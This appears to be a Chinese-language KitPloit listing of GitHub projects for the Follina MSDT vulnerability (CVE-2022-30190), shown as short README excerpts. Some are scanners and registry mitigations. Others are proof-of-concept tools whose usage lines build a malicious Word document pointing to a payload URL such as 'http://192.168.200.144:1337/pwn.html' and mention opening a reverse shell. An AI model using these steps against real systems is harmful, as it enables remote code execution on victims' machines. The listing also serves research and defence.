136 matches found
FollinaScanner
FollinaScanner 一个用 Go 编写的工具，用于扫描文件及目录中是否存在 Follina 漏洞 CVE-2022-30190 （注：“可疑文件”指包含 URL 但未生效的文件） 编译 root@kitploit: git clone https://github.com/ErrorNoInternet/FollinaScanner cd FollinaScanner go build 用法 root@kitploit: 扫描当前目录 ./follina-scanner -r . 扫描指定文件 ./follina-scanner amogus.docx 使用...
CVE-2022-30190
CVE-2022-30190 CVE-2022-30190 Follina POC 在 localhost 上托管 exploit.html，端口 80。打开该 docx 即可弹出 calc。 若要修改 doc 指向的远程地址，请用 7Z 打开并编辑 word\rels\document.xml.rels，使其指向新位置。你必须保留感叹号。如果你从 URL 末尾漏掉它，它真的不会运行。 该利用程序在 window.location.href 之前必须包含至少 3541 个字符，并且这些字符必须位于 script 标签内。exploit.html 中已包含约 6000 个字符。...
CVE-2022-30190
CVE-2022-30190（Follina） 针对CVE-2022-30190（Follina）的概念验证（PoC）。 环境要求 受害者 Windows 10 21H1（等效/更早版本） 未安装安全更新KB5016616 攻击者 Microsoft .NET SDK Python 3.9 或更高版本 配置 编辑config.xml以修改攻击者的服务器主机名和端口号。 root@kitploit: hostname port 使用说明 木马 以下Python脚本将构建trojan.docx文件并初始化攻击者的服务器。 root@kitploit: python init.py 有效载荷...
CVE-2022-30190-Follina-Patch
CVE-2022-30190-Follina-Patch 这是一个简单的程序，允许您一次性完成临时补丁的工作区，而无需在cmd中键入（针对特定人群）。 需要以管理员身份运行。 6/2/2022 图片 可执行文件 手动 以管理员身份运行命令提示符。 要备份注册表项，请执行命令 reg export HKEYCLASSESROOT\ms-msdt filename 执行命令 reg delete HKEYCLASSESROOT\ms-msdt /f。...
follina_cve_2022-30190
follinacve2022-30190 CVE-2022-30190（follina）的概念验证。 root@kitploit: usage: exploit.py -h -u HOSTIP -p PORT -o OFILE -m server, create -s script | scriptfile.ps1 -r HOSTIP:PORT Follina Exploitation Toolkit options: -h, --help show this help message and exit -u HOSTIP, --host HOSTIP host ip address -...
go_follina
gofollina Follina（CVE-2022-30190）概念验证。 灵感来自： https://github.com/JohnHammond/msdt-follina https://github.com/chvancooten/follina.py...
CVE-2022-30190
CVE-2022-30190 CVE-2022-30190 的缓解措施 该脚本需要以管理员身份运行。此脚本已通过 Connectwise Automate RMM 工具进行了部署测试。 我认为此解决方案比备份并删除注册表中的任何内容更简洁，因为它只需将 DWORD 键值更新为 "1" 即可恢复功能。 或者，也可以修改脚本以查找并删除添加的注册表项。...
Follina-CVE-2022-30190-POC
Nee 的 Follina-CVE-2022-30190 概念验证 用法 root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" 功能说明 创建一个恶意 Word 文件，该文件指向你指定的 payload 网址 托管位于 web 文件夹中的默认 payload 概念验证默认弹出计算器 欢迎随意修改并提交 :...
mitigate-folina
mitigate-folina 缓解“Folina”零日漏洞（CVE-2022-30190）和“Search”噩梦（目前未分配CVE） 此脚本将备份并删除受影响的注册表项（如微软建议），以缓解CVE-2022-30190。 如果使用"-revert"参数，脚本将重新导入该键。 这可在微软发布补丁时使用。 脚本必须以管理员或NT-AUTHORITY\SYSTEM身份运行（可通过GPP作为启动脚本或计划任务部署）。...
MSDT_CVE-2022-30190-follina-
MSDTCVE-2022-30190-follina-...
Deathnote
Deathnote CVE-2022-30190 的概念验证 当 MSDT 通过 URL 协议从调用应用程序（如 Word）调用时，存在一个远程代码执行漏洞。成功利用此漏洞的攻击者可以以调用应用程序的权限运行任意代码。然后，攻击者可以安装程序、查看、更改或删除数据，或在用户权限允许的上下文中创建新帐户。 使用恶意 Microsoft Word 文档创建 "Deathnote" MS-MSDT 攻击，并通过 HTTP 服务器部署载荷。 用法 root@kitploit: usage: follina.py -h --command COMMAND --output OUTPUT...
Follina-MSDT-Vulnerability-CVE-2022-30190-
Follina-MSDT-Vulnerability-CVE-2022-30190- Follina MSDT 漏洞（CVE-2022-30190）的检测与修复 有关 Follina-MSDT-Vulnerability-CVE-2022-30190- 的详细信息，请访问 https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ 如何使用 follina.ps1 脚本 1. 下载脚本并将其移动到 Window...
CVE-2022-30190
CVE-2022-30190 重要 已修补于： 2022年6月14日安全更新 CVE Report HTML 文件必须提供给目标，例如（exploit.html ） 运行（server.py ）是执行攻击的一种简单方法。...
MSDT_CVE-2022-30190
MSDTCVE-2022-30190 本仓库从 Defender 视角讨论 Follina MSDT 漏洞 目录 关于 时间线 理解漏洞利用 IOC 列表 检测策略 测试与研究 缓解方案 参考 关于 该漏洞是 Microsoft Windows 支持诊断工具 MSDT 的远程代码执行漏洞，由 Shadow Chaser Group 的 crazyman 报告。Microsoft 现已将其跟踪为 CVE-2022-30190。该漏洞影响所有仍在接收安全更新的 Windows 版本（Windows 7+ 及 Server 2008+）。 正如安全研究员 naosec...
follina-spring
Follina MS-MSDT 利用 —— 基于 Spring Boot 本仓库包含一个简单的 Spring Boot 应用程序，它既可作为服务器来 托管/激活 Follina payload ，也可作为 恶意 Word 文档的生成器 ，用于作为攻击向量利用 CVE-2022-30190。 此漏洞涉及通过 MSDT （Microsoft Windows 支持诊断工具） 实现 远程代码执行 。 服务端 Payload 若要提供你选择的唯一 payload，应执行以下操作： 定义 payload ，例如： root@kitploit: export...
CVE-2022-30190
此存储库没有 README。...
Follina
Follina 关于 CVE-2022-30190 的笔记 FOLLINA: CVE-2022-30190 1. 使用 Microsoft 支持诊断工具 MSDT 2. 利用打开的诊断窗口进行诊断，当正确执行时，为攻击者提供反向 shell。 3. Github: a. https://github.com/JohnHammond/msdt-follina b. https://github.com/chvancooten/follina.py 4. 感谢： a. @johnhammond b. @networkchuck 5. 使用方法 follina.py -h --command...
MS-MSDT-Office-RCE-Follina
MS-MSDT-Office-RCE-Follina CVE-2022-30190 | MS-MSDT Follina 一键利用 1. 创建一个 Docx 文件。 2. 在 Docx 文件中，点击“插入” “对象” “位图图像” “确定”。 3. 在启动的画图应用程序中，保存画图文件。 4. 保存你的 Docx 文件。 5. 以归档形式打开你的文件（使用 7Zip；右键点击 7Zip 打开归档）。 6. 从 \Word\ 中复制出 Document.xml，并从 \wordrels\ 中复制出 document.xml.rels 文件。 7. 打开/编辑...